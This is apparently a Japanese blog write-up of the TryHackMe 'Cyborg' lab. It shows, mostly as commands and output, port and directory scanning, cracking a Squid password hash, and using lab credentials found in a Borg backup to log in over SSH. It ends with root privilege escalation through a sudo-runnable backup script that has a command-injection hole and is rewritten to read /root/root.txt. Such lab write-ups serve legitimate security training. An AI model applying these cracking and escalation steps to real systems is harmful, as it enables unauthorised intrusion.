TryHackMe: Cyborg Writeup

TryHackMeのwriteupおよびメモ。

2日間に渡り取り組んだため、標的マシンのIPアドレスがちょいちょい変わっているのはご愛嬌。

Scan the machine, how many ports are open?

nmap -Pn -A 10.10.104.147
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ nmap -Pn -A 10.10.104.147
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 08:59 EDT
Nmap scan report for 10.10.104.147
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:b2:70:f3:07:ac:32:00:3f:81:b8:d0:3a:89:f3:65 (RSA)
|   256 68:e6:85:2f:69:65:5b:e7:c6:31:2c:8e:41:67:d7:ba (ECDSA)
|_  256 56:2c:79:92:ca:23:c3:91:49:35:fa:dd:69:7c:ca:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.20 seconds

答えは2。

What service is running on port 22?

答えはssh

What service is running on port 80?

答えはhttp

What is the user.txt flag?

まずはgobusterでwebサーバーのディレクトリを列挙してみた。

gobuster dir -u http://10.10.104.147 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.10.104.147 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ gobuster dir -u http://10.10.104.147 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.104.147
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 314] [--> http://10.10.104.147/admin/]
/etc                  (Status: 301) [Size: 312] [--> http://10.10.104.147/etc/]

/admin/etcというディレクトリを発見した。

/adminにアクセスすると、以下のWeb サイトが表示された。

左上のメニューからAdminsを選択すると、以下のページが表示された。

メニューのArchiveのドロップダウンからDownloadを選択すると、archive.tarというファイルがダウンロードされた。

archive.tarを解凍して中身を確認してみた。以下はarchive.tarから解凍されたファイルとディレクトリである。

┌──(kali㉿kali)-[~/…/home/field/dev/final_archive]
└─$ ls -la
total 76
drwxr-xr-x 3 kali kali  4096 May 25 08:46 .
drwxr-xr-x 3 kali kali  4096 May 24 09:06 ..
-rw------- 1 kali kali   964 Dec 29  2020 config
drwx------ 3 kali kali  4096 Dec 29  2020 data
-rw------- 1 kali kali    54 Dec 29  2020 hints.5
-rw------- 1 kali kali 41258 Dec 29  2020 index.5
-rw------- 1 kali kali   190 Dec 29  2020 integrity.5
-rw------- 1 kali kali    16 Dec 29  2020 nonce
-rw------- 1 kali kali    73 Dec 29  2020 README

READMEによると、これらのファイルはBorg Backupによってバックアップされたデータらしい。

┌──(kali㉿kali)-[~/…/home/field/dev/final_archive]
└─$ cat README      
This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/

これらのファイルの中にフラグは見つからなかった。一部のファイルは暗号化されているようで、中身が確認できなかった。

archive.tarは一旦置いて、次にWebサーバーの/etcディレクトリを覗いてみた。

/etcの配下にsquid/というサブディレクトリがあるのが分かる。

squid/にアクセスすると、passwdsquid.confというファイルを発見したので、ダウンロードしてみた。

以下はpasswdの中身。なんらかのハッシュ値が記載されていた。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ cat passwd       
music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.

squid.confの方は、Squidの設定ファイルのようだった。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ cat squid.conf 
auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd
auth_param basic children 5
auth_param basic realm Squid Basic Authentication
auth_param basic credentialsttl 2 hours
acl auth_users proxy_auth REQUIRED
http_access allow auth_users

John The Ripperでpasswdに記載されていたハッシュ値をクラックしてみた。

john passwd --wordlist=/usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ john passwd --wordlist=/usr/share/wordlists/rockyou.txt  
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
squidward        (music_archive)     
1g 0:00:00:00 DONE (2024-05-24 09:30) 4.347g/s 169460p/s 169460c/s 169460C/s 112806..samantha5
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

結果、squidwardという単語のハッシュ値であることが判明した。

music_archive:squidwardで標的マシンにSSH接続できるか試してみたが、弾かれてしまった。

ssh music_archive@10.10.104.147
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ ssh music_archive@10.10.104.147
The authenticity of host '10.10.104.147 (10.10.104.147)' can't be established.
ED25519 key fingerprint is SHA256:hJwt8CvQHRU+h3WUZda+Xuvsp1/od2FFuBvZJJvdSHs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.104.147' (ED25519) to the list of known hosts.
music_archive@10.10.104.147's password: 
Permission denied, please try again.
music_archive@10.10.104.147's password: 

ここで先ほどのarchive.tarについて考えた。

archive.tarにはBorg Backupによってバックアップされたデータが内包されており、一部のデータは暗号化が施されていた。

もしや、squidwardというのは、バックアップされたデータを復号する際に必要なパスワードなのでは?

さっそくBorgをインストール。

sudo apt install borgbackup

公式のドキュメントを参考に、コマンドを叩いてみた。

まずはlistコマンドでアーカイブの名前を確認。

borg list /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ borg list /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive
Enter passphrase for key /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive: 
music_archive                        Tue, 2020-12-29 09:00:38 [f789ddb6b0ec108d130d16adebf5713c29faf19c44cad5e1eeb8ba37277b1c82]

コマンドを実行する際にパスフレーズを聞かれたので、squidwardと入力。
結果、music_archiveというアーカイブ名が確認できた。

あとはアーカイブからデータを復元するだけである。extractコマンドを使って復元することにした。

ドキュメントによると、extractコマンドを使うにはカレントディレクトリが空である必要があるとのこと。

borg_restoreという空のディレクトリを用意して、そこにデータを復元することにした。

mkdir borg_restore
cd borg_restore

以下のコマンドでデータを復元できた。

borg extract /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive::music_archive
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg/borg_restore]
└─$ borg extract /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive::music_archive
Enter passphrase for key /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive:

以下は復元されたデータである。どうやら/home/alexディレクトリのバックアップらしい。

┌──(kali㉿kali)-[~/…/Cyborg/borg_restore/home/alex]
└─$ pwd
/home/kali/Documents/TryHackMe/Cyborg/borg_restore/home/alex
                                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/…/Cyborg/borg_restore/home/alex]
└─$ ls -la       
total 64
drwxr-xr-x 12 kali kali 4096 Dec 29  2020 .
drwx------  3 kali kali 4096 May 25 08:46 ..
-rw-------  1 kali kali  439 Dec 28  2020 .bash_history
-rw-r--r--  1 kali kali  220 Dec 28  2020 .bash_logout
-rw-r--r--  1 kali kali 3637 Dec 28  2020 .bashrc
drwx------  4 kali kali 4096 Dec 28  2020 .config
drwx------  3 kali kali 4096 Dec 28  2020 .dbus
drwxrwxr-x  2 kali kali 4096 Dec 29  2020 Desktop
drwxrwxr-x  2 kali kali 4096 Dec 29  2020 Documents
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Downloads
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Music
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Pictures
-rw-r--r--  1 kali kali  675 Dec 28  2020 .profile
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Public
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Templates
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Videos

Documentsディレクトリの中にnote.txtというファイルを発見。

┌──(kali㉿kali)-[~/…/Cyborg/borg_restore/home/alex]
└─$ cat Documents/note.txt
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!

alex:S3cretP@s3

ユーザーalexのパスワードが記載されていた。

このユーザー情報を使って、標的マシンにSSH接続できた。

ssh alex@10.10.72.6
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ ssh alex@10.10.72.6
The authenticity of host '10.10.72.6 (10.10.72.6)' can't be established.
ED25519 key fingerprint is SHA256:hJwt8CvQHRU+h3WUZda+Xuvsp1/od2FFuBvZJJvdSHs.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:20: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.72.6' (ED25519) to the list of known hosts.
alex@10.10.72.6's password: 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.15.0-128-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


27 packages can be updated.
0 updates are security updates.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

alex@ubuntu:~$ 

alex@ubuntu:~$ pwd
/home/alex
alex@ubuntu:~$ whoami
alex
alex@ubuntu:~$ id
uid=1000(alex) gid=1000(alex) groups=1000(alex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

/home/alexディレクトリの中にuser.txtというファイルを発見。このファイルにフラグが記載されていた。

alex@ubuntu:~$ ls -la
total 108
drwx------ 17 alex alex 4096 Dec 31  2020 .
drwxr-xr-x  3 root root 4096 Dec 30  2020 ..
-rw-------  1 alex alex 1145 Dec 31  2020 .bash_history
-rw-r--r--  1 alex alex  220 Dec 30  2020 .bash_logout
-rw-r--r--  1 alex alex 3771 Dec 30  2020 .bashrc
drwx------ 13 alex alex 4096 May 25 05:55 .cache
drwx------  3 alex alex 4096 Dec 30  2020 .compiz
drwx------ 15 alex alex 4096 Dec 30  2020 .config
drwxr-xr-x  2 alex alex 4096 Dec 30  2020 Desktop
-rw-r--r--  1 alex alex   25 Dec 30  2020 .dmrc
drwxr-xr-x  2 alex alex 4096 Dec 30  2020 Documents
drwxr-xr-x  2 alex alex 4096 Dec 31  2020 Downloads
drwx------  2 alex alex 4096 Dec 30  2020 .gconf
drwx------  3 alex alex 4096 Dec 31  2020 .gnupg
-rw-------  1 alex alex 1590 Dec 31  2020 .ICEauthority
drwx------  3 alex alex 4096 Dec 30  2020 .local
drwx------  5 alex alex 4096 Dec 30  2020 .mozilla
drwxr-xr-x  2 alex alex 4096 Dec 30  2020 Music
drwxr-xr-x  2 alex alex 4096 Dec 30  2020 Pictures
-rw-r--r--  1 alex alex  655 Dec 30  2020 .profile
drwxr-xr-x  2 alex alex 4096 Dec 30  2020 Public
-rw-r--r--  1 alex alex    0 Dec 30  2020 .sudo_as_admin_successful
drwxr-xr-x  2 alex alex 4096 Dec 30  2020 Templates
-r-xr--r--  1 alex alex   40 Dec 30  2020 user.txt
drwxr-xr-x  2 alex alex 4096 Dec 30  2020 Videos
-rw-------  1 alex alex   51 Dec 31  2020 .Xauthority
-rw-------  1 alex alex   82 Dec 31  2020 .xsession-errors
-rw-------  1 alex alex   82 Dec 31  2020 .xsession-errors.old

What is the root.txt flag?

sudo -lを叩いて、ユーザーalexsudoオプションつきで実行できるコマンドを確認してみた。

alex@ubuntu:~$ sudo -l
Matching Defaults entries for alex on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alex may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh

どうやら/etc/mp3backups/backup.shというスクリプトをsudoオプションつきで実行できる模様。

確認したところ、スクリプトの所有者はalexになっていた。

alex@ubuntu:~$ ls -l /etc/mp3backups/backup.sh
-r-xr-xr-- 1 alex alex 1083 Dec 30  2020 /etc/mp3backups/backup.sh

以下はbackup.shの中身。

alex@ubuntu:~$ cat /etc/mp3backups/backup.sh
#!/bin/bash

sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt


input="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
  #a="/etc/mp3backups/backed_up_files.txt"
#  b=$(basename $input)
  #echo
#  echo "$line"
#done < "$input"

while getopts c: flag
do
        case "${flag}" in 
                c) command=${OPTARG};;
        esac
done



backup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"

# Where to backup to.
dest="/etc/mp3backups/"

# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"

echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"

cmd=$($command)
echo $cmd

ファイルのバックアップを行うためのスクリプトらしい。

backup.shを以下のように書き換えた。(ファイルを編集するにはchmodコマンドで書き込み権を付与する必要がある。)

alex@ubuntu:/etc/mp3backups$ cat backup.sh
#!/bin/bash
flag=$(cat /root/root.txt)
echo $flag

/root/root.txt (ファイルパスは決め打ち)の中身を表示するようにスクリプトを書き換えた。

sudo ./backup.shでスクリプトを実行したところ、/root/root.txtからフラグを読み出せた。

Leave a Reply

Your email address will not be published. Required fields are marked *